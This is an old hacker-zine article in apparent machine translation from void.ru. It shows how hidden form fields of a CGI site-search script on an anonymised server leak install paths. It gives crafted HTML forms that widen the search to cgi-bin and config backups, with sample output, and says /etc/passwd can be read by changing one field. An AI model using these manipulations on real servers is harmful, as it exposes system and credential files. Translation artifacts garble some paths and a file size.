Витік інформації про сервер через приховані поля html-коду

Витік інформації про сервер через приховані поля html-коду
[2003/10/08, durito] Скільки разів вже говорили про небезпеку прихованої в прихованих формах, але все одно зустрічаються умільці, які нехтують нею.
В html-коді index'ной сторінки сервера www.xxx.com є такий ось фрагмент: (непотрібні елементи дизайну видалені)
 <Form method = POST action = .. / .. / cgi-bin / wsmsearch2.cgi> Search Site: <input type = text name = terms size = 20> <input type = hidden name = boolean value = AND> <input type = hidden name = case value = Insensitive> <input type = hidden name = quicksearch value = NO> <input type = hidden name = max value = 50> <input type = hidden name = faqfile value = "/ opt2 / xxx / httpd / htdocs _
 http://www.xxx.com/ _ *. *
 manual / updates / _ http://www.xxx.com "> <input type = hidden name = resultspage value = / opt2 / xxx / httpd / htdocs / results.html> <input type = submit value = Search!> 
як вже стало зрозуміло, це скрипт пошукової системи по сайту. але ось ці рядки особливо цікаві:
 <Input type = hidden name = faqfile value = "/ opt2 / xxx / httpd / htdocs _
 http://www.xxx.com/ _ *. *
 manual / updates / _ http://www.xxx.com "> <input type = hidden name = resultspage value = / opt2 / xxx / httpd / htdocs / results.html> 
/opt2/xxx/httpd/htdocs - це інсталяційний шлях сайту, але це ще не все.
скрипт пошуку бере свої дані з прихованих форм:
 <Input type = hidden name = boolean value = AND> <input type = hidden name = case value = Insensitive> <input type = hidden name = quicksearch value = NO> <input type = hidden name = max value = 50> <input type = hidden name = faqfile value = "/ opt2 / xxx / httpd / htdocs _
 http://www.xxx.com/ _ *. *
 manual / updates / _ http://www.xxx.com "> <input type = hidden name = resultspage value = / opt2 / xxx / httpd / htdocs / results.html> 
тобто пошук проводитися в папках: manual/ updates/ і кореневій папці сервера http://www.xxx.com/ _ *.*
(цікаво що за допомогою цього поікового скрипта був виявлений файл: www_xxx_user_list.txt в корені сервера, це список користувачів).

так ось тут можна маніпулювати запитами скрипта. створюємо html ось з таким кодом:
 <Form method = POST action = .. / .. / .. / www.xxx.com/cgi-bin/wsmsearch2.cgi>Search Site: <input type = text name = terms size = 20> <input type = hidden name = boolean value = AND> <input type = hidden name = case value = Insensitive> <input type = hidden name = quicksearch value = NO> <input type = hidden name = max value = 50> <input type = hidden name = faqfile value = / opt2 / xxx / httpd / htdocs> <input type = hidden name = resultspage value = / opt2 / xxx / httpd / htdocs / results.html> <input type = submit value = Search!> 
тобто просто прибираємо рядки: _ http://www.xxx.com/ _ *.* manual/ updates/ _ http://www.xxx.com і виконуємо пошуковий запит по всьому сайту.
так само можна шукати файли і в /opt2/xxx/httpd/htdocs/cgi-bin/ :
 <Form method = POST action = .. / .. / .. / www.xxx.com/cgi-bin/wsmsearch2.cgi>Search Site: <input type = text name = terms size = 20> <input type = hidden name = boolean value = AND> <input type = hidden name = case value = Insensitive> <input type = hidden name = quicksearch value = NO> <input type = hidden name = max value = 50> <input type = hidden name = faqfile value = "/ opt2 / xxx / httpd / htdocs_
 http://www.xxx.com/ _ *. *
 cgi-bin / _ http://www.xxx.com "> <input type = hidden name = resultspage value = / opt2 / xxx / httpd / htdocs / results.html> <input type = submit value = Search!> 
ось що було виявлено в результаті цих запитів:
 Here are your search results for the keyword (s) conf.dont_use in order of
 relevance.

 1) conf.dont_use / srm.conf.old SIZE: 7354 bytes TYPE: Unknown
 Term: conf.dont_use Filename matches: 0,1 Title matches: 0,0 exact matches: 0
 partial matches: 0
 2) conf.dont_use / srm.conf SIZE: 7436 bytes TYPE: Unknown
 Term: conf.dont_use Filename matches: 0,1 Title matches: 0,0 exact matches: 0
 partial matches: 0
 3) conf.dont_use / sessiond.conf SIZE: 159 bytes TYPE: Unknown
 Term: conf.dont_use Filename matches: 0,1 Title matches: 0,0 exact matches: 0
 partial matches: 0
 4) conf.dont_use / mime.types SIZE: 2 652 bytes TYPE: Unknown
 Term: conf.dont_use Filename matches: 0,1 Title matches: 0,0 exact matches: 0
 partial matches: 0
 5) conf.dont_use / imagemap.conf SIZE: тисячі шістьдесят два bytes TYPE: Unknown
 Term: conf.dont_use Filename matches: 0,1 Title matches: 0,0 exact matches: 0
 partial matches: 0
 6) conf.dont_use / httpsd.conf.dave SIZE: 43652 bytes TYPE: Unknown
 Term: conf.dont_use Filename matches: 0,1 Title matches: 0,0 exact matches: 0
 partial matches: 0
 7) conf.dont_use / httpsd.conf.11-20-2001 SIZE: 43841 bytes TYPE: Unknown
 Term: conf.dont_use Filename matches: 0,1 Title matches: 0,0 exact matches: 0
 partial matches: 0
 8) conf.dont_use / httpsd.conf-backup SIZE: 13243 bytes TYPE: Unknown
 Term: conf.dont_use Filename matches: 0,1 Title matches: 0,0 exact matches: 0
 partial matches: 0
 9) conf.dont_use / httpsd.conf SIZE: 43927 bytes TYPE: Unknown
 Term: conf.dont_use Filename matches: 0,1 Title matches: 0,0 exact matches: 0
 partial matches: 0
 10) conf.dont_use / httpd.conf.vhback SIZE: 7225 bytes TYPE: Unknown
 Term: conf.dont_use Filename matches: 0,1 Title matches: 0,0 exact matches: 0
 partial matches: 0
 11) conf.dont_use / httpd.conf.11-20-2001 SIZE: 7451 bytes TYPE: Unknown
 Term: conf.dont_use Filename matches: 0,1 Title matches: 0,0 exact matches: 0
 partial matches: 0
 12) conf.dont_use / httpd.conf SIZE: 7451 bytes TYPE: Unknown
 Term: conf.dont_use Filename matches: 0,1 Title matches: 0,0 exact matches: 0
 partial matches: 0
 13) conf.dont_use / access.conf SIZE: 1725 bytes TYPE: Unknown
 Term: conf.dont_use Filename matches: 0,1 Title matches: 0,0 exact matches: 0
 partial matches: 0
і ще один скрипт:
 Here are your search results for the keyword (s) securedata in order of
 relevance.

 1) cgi-bin / conf.dont_use / resetsecuredata.cgi SIZE: bytes TYPE: CGIsсript
 Term: securedata Filename matches: 0,1 Title matches: 0,0 exact matches: 0
 partial matches: 0

Ну а всіма улюблений /etc/passwd виходить зовсім просто: достатньо просто значення прихованого поля resultspage замінити на /etc/passwd .

Ось так от іноді адміністратори сервера намагаються залатати всілякі діри, накочуючи останні патчі, а інформація витікає просто з html-коду.

твій bug Durito
_________________
EAT THE RICH!

Copyright 2002-2003 by void.ru All rights reserved.
Сподобалося? Підпишись на RSS новини!
Ви також можете підтримати shram.kiev.ua, тисніть:

Не зайвим буде і твоїм друзям дізнатися цю інформацію, поділися з ними статтею!

Розгорнути / згорнути Розгорнути / згорнути вікно з коментарями

Коментарі

Коментуючи, пам'ятайте про те, що зміст і тон Вашого повідомлення можуть зачіпати почуття реальних людей, проявляйте повагу та толерантність до своїх співрозмовників навіть у тому випадку, якщо Ви не поділяєте їхню думку, Ваша поведінка за умов свободи висловлювань та анонімності, наданих інтернетом, змінює не тільки віртуальний, але й реальний світ. Всі коменти приховані з індексу, спам контролюється.
Кредитка безкоштовно з лімітом в 15000 грн.